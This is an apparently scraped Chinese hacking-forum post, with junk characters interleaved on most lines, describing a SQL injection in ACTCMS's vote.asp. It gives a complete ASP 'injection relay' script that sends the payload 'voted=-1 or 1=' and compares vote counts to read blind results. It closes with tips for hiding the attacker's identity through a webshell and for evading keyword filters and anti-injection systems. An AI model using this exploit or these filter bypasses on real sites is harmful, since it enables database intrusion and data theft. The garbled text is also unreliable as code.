. i" F' c. M' ~, J$ B1 h |' ~
看到ninty大牛的blog的一篇文章
5 G0 _0 _8 h. |链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: J4 m5 A4 j& n- P& p$ |9 w% P关于actcms漏洞的利用 by 3x qq:381862589
) Y9 K3 w/ e: w3 R9 W: t+ x转载请注明以上
2 Y! C, u( A- K1 H2 G9 D漏洞文件:
7 S# S4 e- R; x p ^/plus/vote/vote.asp( [6 `8 y+ h( P0 A9 A
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 7 ^- a' u, W; N3 b# I
^0 N% ], d o2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 9 A1 A! Z1 V7 \
" a. I2 c% a" i0 T
3 response.end
: q8 W. v2 g, T* W3 G0 }, Y5 n5 Q. k+ x
4 end if
- w, `: {5 L- O
3 W+ J4 S# [# G8 u3 r5 for i=1 to request("voted").count : g% o- }8 [& M- ~
2 Z6 C8 @1 B5 n$ l6 X" F6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) * m v/ O$ l0 ]
% r; _ L, ]. q; r2 R- _) l. w
7 next
/ K. J2 b2 _& C9 y: u# D1 X4 |5 }( f
8.... 1 o) S- C9 m; {) s; ?2 ?
$ I( {! Q# W2 H: _: n4 }2 J' o
9response.Redirect "index.asp?id="&id&""
/ ~+ ] o+ l ?7 V: `5 |投票结束回跳转回index.asp这个投票结果页面+ A# a2 R' G8 {( C) G7 n& |
如果投票成功票数加1
y5 ], |, i# ~ 失败票数不变
4 `8 B8 r0 G! {, V& z如图:
- A5 ~1 L9 Q$ V0 w2 ?% `& W% }# W5 Zhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
7 i$ Y# e2 L, T* f, K- \3 n" ]/ s4 z! \, `# }4 X1 A
2009-12-27 13:20
% h5 S* o1 w3 b% n' P
( f, x: W0 |# z9 U) n" O利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% q( ^( K# Q: S. e: z8 R- r1 D1 I
7 j1 z5 g. [! T8 `2 G3 }9 C5 J3 m
本帖隐藏的内容需要回复才可以浏览
7 _3 x" v. _' O( r# }/ `+ O# B我们用注入中转来实现这个注入具体代码如下:
5 a/ y* p$ P2 k9 F8 i- V先用寂寞的刺猬大牛的注入中转生成jmget.asp
6 E9 [' [- V- D$ E; j* X注入地址:http://localhost/actcms/plus/vote/vote.asp
; j$ m' b6 h! ?/ y/ w3 A; v' T# O u注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项- Q5 F. T4 g: U4 H1 [
2 j- x1 R, \9 Z' U
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% _( y8 [. [1 {7 N
/ v% U9 u0 l* `. f1 \02JmdcwName=request("jmdcw") ' `# a/ v. O6 ?7 _, v4 h5 t
# Q; z, F: z6 v! q6 t. p
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
# X/ u) O. {$ N! n9 x5 Q9 K7 w5 D0 D. F$ h. g& Q, l) _
04JmStr="id=1&voted=-1 or 1="&JmdcwName 1 h+ s: \; N0 a/ j& H8 I: ^
, v' v% m: E- U3 n3 H05JmStr=URLEncoding(JmStr)
: w9 [, @1 Y, q9 _" u a2 B' L% |; i: L+ ^) n8 a8 E' J# x
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
5 k! y/ N+ F: L5 T; y9 I. ~3 u3 ~2 U$ v9 A; {
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
3 ^6 v0 l0 P o/ ?. @
0 }4 I* N' ^# F# s" V. _: F08testurl=testurl & "?" & JmStr + J. i0 U; G8 Q& c+ ?) u# T
3 M. o! r0 R' S+ W; ?& x5 o
09JMUrl=JMUrl & "?" & JmStr : `! Z# V' H$ p2 k; u$ _0 f6 k
& H4 C1 i, }3 s: Y: Q1 s, I10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 t5 ?$ S% c8 H$ h9 |# ]- |3 D
" }7 O: q! E" r. p11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"9 `. _( }* r4 I6 u
; t- d- r2 O* e5 B12JmCok=replace(JmCok,chr(32),"%20")
& p/ n) u7 a$ Q) @
7 R0 A9 k4 ]$ _6 k$ n0 H13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 1 ^+ r$ z) g* |! p! X! P
! z$ F5 l3 I( g14 3 j* E, x6 Y4 {. n; A) f0 Q4 j
& ~2 Y+ L- f8 G. s; H. p
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
1 \+ j5 ]8 M- r; N* t F4 b) V4 F7 M. H& X( S W, C
16 7 C+ t$ v6 f9 u7 |, |1 F0 p
" I. _. }, E$ E+ R3 L17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
& h8 _1 Y d8 `2 c* m9 X
+ s# j* Q* i" w5 }( s: e% p% x% W18response.write test1&""&test2&""
& y4 r) j0 t; Z6 j: r2 Z: E8 I: C$ f. T
19
0 o* l8 x) u/ @# O+ ]
6 p( `: F: i O$ W- L5 F( P& N3 D) V20if test1=test2 then '如前后记录相等,表示失败
3 Q3 T3 p: \7 R8 m5 L; ~+ Q9 p+ H' \5 j% h0 c+ {
21 response.write "failed", [4 Y( H/ n' W& u: R2 i
& _, N8 s7 I; T [6 w9 D: w22else # l" A* G# o% X- p0 S( \* D3 y
' P! O/ C4 D7 O( z7 f( W, q& H23 response.write "succeed" f8 b' D* @* P6 q( a" c' R8 f
4 J" H$ j7 E: G( Q) k7 a, A F( L% l; f
24end if $ i. @- W% T j$ u+ N
) Q' o, f' C6 Z/ H
25
$ e/ s& E" W( M& R. G1 g
9 b! X4 n( V% |" U. f" f" Q26response.write "by 3x"
! y a' }: p% T) X6 G; B
u# P! |' c* L# g' l27 0 j' Q" V+ s8 u' {3 W
; D9 E" ]9 c4 z) m9 {2 D. T
28 5 ~* c0 ~: c+ b: V
7 V5 H' b% f6 w/ ?
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 1 }) S& _% F( M0 f& o: ~
# a- r: B. Q# ^30Dim Http
) N5 U. E8 O7 K& l0 h! w- J8 ^8 u& `# ~5 ?" Q3 |
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
) y7 U5 `! \: y% f& A0 ~, B& e5 T0 }. m0 T
32With Http
& [7 B7 ~' X1 a( \4 f7 J: ]3 h: X9 Q4 B& H& f/ U' M' N4 L S/ K7 B
33 , Q* |$ V Z6 [3 R
( X& H8 B' l/ A- i! @2 u; _
34.Open "GET",PostUrl,False" x8 h; O6 C# _# P0 K" Z' Z
* o2 @4 m. U$ u& f7 k& s$ [( O, z5 a5 R35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
! s7 ~: h, \1 ?) J6 f
0 k1 c1 `; ]9 j% r# Y36.SetRequestHeader "Referer",PostRef 3 |- r, Z% y* ~( v6 C
/ C: q1 {8 K8 A1 @' a" V
37.SetRequestHeader "Cookie",PostCok & K/ B b& V/ k2 o h4 y' \
; k7 {1 d. N: q8 A
38.Send ()
+ J- L# K" G: T; w, I; n/ v- j4 T& \; x$ n; M' Y- X5 A: {2 E
39PostData = .ResponseBody / }/ @8 z' ?# m6 P& g' h
) _" G8 B2 Z% I' U40End With" c3 q# L# `$ W* d9 m7 i6 \
4 X4 k J& G/ @: \. ~
41Set Http = Nothing
1 }3 u7 e0 G4 Y0 m- c; U' W$ Y% n# n5 E
42PostData =bytes2BSTR(PostData)
. p3 \1 u- g \3 N! y/ x7 @
$ C8 t* \* _& i3 Y0 p& E" A43End Function
9 m( m* L m# B2 r+ U# I! s/ f
% w' Y; x$ U) D. {44
1 _$ x4 x5 f7 K {" K2 N' h& w
, _ t4 H. @1 V3 A& D# V& U45 $ q, }- @% f1 D6 W6 q5 d% C B$ M
# J+ X% U2 K' T6 P
46Function bytes2BSTR(vIn) , p( M+ p# c1 l! {1 o* c
, H2 }/ a* Q; A47Dim strReturn 1 T( w& b/ D8 n; K* ]
6 R2 c- |; t0 f* H4 i
48Dim I, ThisCharCode, NextCharCode . w1 @; Y8 i& f* H& F
' w9 I' \3 Y1 B V
49strReturn = ""
8 c" B) W5 F/ w, \* D
7 [( h+ g" F |+ P' M4 S3 m50For I = 1 To LenB(vIn) / g O {, r$ z2 e/ W( a5 h2 L
3 M5 U% ?" Z$ x* h7 O" A5 Q: Y+ t
51ThisCharCode = AscB(MidB(vIn, I, 1)) 7 {, W' H! ]7 p1 M/ E. K4 Y( ~
/ y4 A* F1 l! V* P
52If ThisCharCode < &H80 Then
6 M% n; A+ D! W& v! @- `7 N9 C& \" M9 ]- u' { B$ D$ V
53strReturn = strReturn & Chr(ThisCharCode) 2 F- J/ M# X" Z+ ~# e: I
" W: P2 ?: S, V( D, S
54Else7 ]: _6 k$ N/ t( `
- ^" g9 m2 H, ], G
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 5 ?( y9 ~! h. c* c8 W* I
; B, Y( j/ I# m" c/ Y$ f" _/ C! L56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 G/ R- J2 O4 q8 U% z& |! v; m
2 g8 I1 r% ^) M5 |0 Z6 u* b57I = I + 1 3 p0 g/ E2 C* R* K. W
. D/ j& k3 H0 q- Q0 j- q6 T58End If
6 a! W0 _! h& d+ F0 H+ [
( T& j; f) A' `59Next/ @ O" n- d3 F- j' T) e! c9 @' B
) w" l* k8 `1 C9 c3 s( m+ _, \
60bytes2BSTR = strReturn 9 C5 i) E- Q; ~% j; C$ z
+ M+ s1 s, R0 `. u& J61End Function
4 f! B- ~# z, g- P, @0 J( G) n
, l; _* Q$ M; R" o62 3 ?. ~1 z% z! ^# D1 w
/ v& D' |, @" o# w S3 N- X% U
63Function URLEncoding(vstrin)
4 k. [; \3 \5 n
( a" p' j4 m1 h" V# `0 | M4 T/ }64strReturn=""
% H7 v! T& I% r4 A, W7 b5 |2 k5 M
9 M, i& j& o! U% \ v4 C3 [" A2 K& l65Dim i
, R7 \7 X* q* r
9 D; C: |( f0 i, l# c66For i=1 To Len(vstrin) 0 x( l! i0 U6 h& x
1 m' }6 J W8 p, `, l! ^67ThisChr=Mid(vstrin,i,1)
& ?$ @0 N6 ?' n" n! n0 e
+ K2 Q D" N% [: ^; |5 L W68if Abs(Asc(ThisChr))< &HFF Then5 n" z6 L9 y, i$ N7 m+ n$ z
8 C" J+ k3 H7 p: Z
69strReturn=strReturn & ThisChr . J' g6 S5 i4 y. J2 H0 V6 C+ D2 l% x
" I0 W/ F; `- L9 L
70Else
* I F2 n* d4 X) H' q" ]8 o
5 t7 L& b. e; |. K+ ~5 z9 u0 ^. T71InnerCode=Asc(ThisChr) ; ^' }" a4 }0 x! Z9 c. ^4 W/ \6 {5 j
1 q% f5 S6 |' `; A% i6 e) r72If InnerCode<0 Then
0 `6 c. U! m5 Q; Y' D
: P$ T: J" H5 F+ l- |$ F73InnerCode=InnerCode + &H10000
9 \% [- l' [* p* o t0 \" D( E5 V! a. x( i
74End If
4 R" D- \" l+ H4 J
& K# `7 r3 Q$ J5 p75Hight1=(InnerCode And &HFF00) \&HFF
& o0 g, t# ]: W. n; K# U+ c s! U, B3 \
76Low1=InnerCode And &HFF ) k( m) W- }$ ?/ K! P
6 z+ l0 Z, h1 {77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) % b+ h' \. ~ m5 o
8 i( Y: X, H7 c) N3 ~, {, n9 }78End if
+ v T2 \% V+ }) M6 _+ a# b7 Q6 `2 N" P$ a9 `$ ?$ A" }
79Next) a9 ~6 u7 S2 P' q) c% z
) |/ H! {( x7 |9 y2 z80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
B4 }* f- }; m! S2 J9 v5 h, o4 i% z& ]1 \% |
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 ) y. t, g) Y% E; f
' E9 s) k5 L# }" s: w. o" d: v82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 3 t& |6 I/ L2 L- B( V; `/ Z
$ f+ N6 A7 d% v. G! W* X; c! z/ T4 Y
83URLEncoding=strReturn
# p5 s/ l {! I# D* Y! D; i7 ]- W" B& Q. d
84End Function9 G8 J6 f! D1 l: f
) e- P. U9 f% w) n) f85 5 T$ r" j+ n, s- p' I2 U# `
( S8 ~6 A2 t* o8 D: x
86function getSt(body) / B. z3 k7 M9 n2 V$ n+ \+ [+ e
5 H& W( F# n' q H87 startpot=instr(body,"投票人数:")+len("投票人数:") ( l" [' x. ?6 f; f
f1 q4 H, @' O j7 }88 endpot=instr(startpot,body," ") 9 _$ j3 I$ `9 u+ w( M" V: }! O
8 a# T/ |) f: f1 v! }; z1 ^: n* M2 ]! U! I
89 getSt=mid(body,startpot,endpot-startpot) 2 y) w3 u, P) T; i) p$ K$ R2 M" @
8 d( g- q" o) X
90end function
' m) Q& D' S4 `' _) w' I, Y
7 U: }; Y0 l; D# o, u* r+ i/ U* N91%>8 E4 Q5 C7 E; L
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
: H: o0 U4 z2 y0 y' j5 q2 H& W测试下效果:7 n3 v$ v8 H6 q/ Y- k
投票成功:
) N4 m9 A2 r* \0 P2 D- }3 j5 c6 Shttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)6 [7 e z+ X" S0 O: v
( ^+ }3 e( T, M
2009-12-27 13:29: V$ ~. m/ { h! o( P
投票失败
) n& Q ]( o7 }1 {0 h% }http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
0 y; @7 Q# l" T
E5 f% g, m9 h9 z2009-12-27 13:29
/ s* u/ g1 H1 w9 Z" R3 p: i-------------------------------------------------------------------------------
0 f7 J+ f% W; s3 U3 ]% E再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
9 Z- ?6 ]+ a, j0 F9 k+ z/ Y- Z) n很抱歉。。。只能用单线程工具去注入。。。。。6 G8 q0 s$ c. A
所以失败。。。不好意思。。。
% Y+ p) v& ^/ J5 }% f* X-------------------------------------------------------------------------------
) a" X) K" u5 t0 |
' ?! G% O2 M5 ~8 g注入中转的一些其他应用& T3 \, W6 U; e! Q
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
0 w$ Y( f% v5 I: z1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
8 g, |/ g$ i7 m( {9 {& p2.post注入转成get型的注入,方便我们使用工具来跑# k8 k: b* ~+ m- L. Q' l' D
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")$ T. X4 a( j9 g0 F2 y5 \, Z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
. d' K c+ I6 P, t, }! M( s# y, U0 J) j* Q& }
|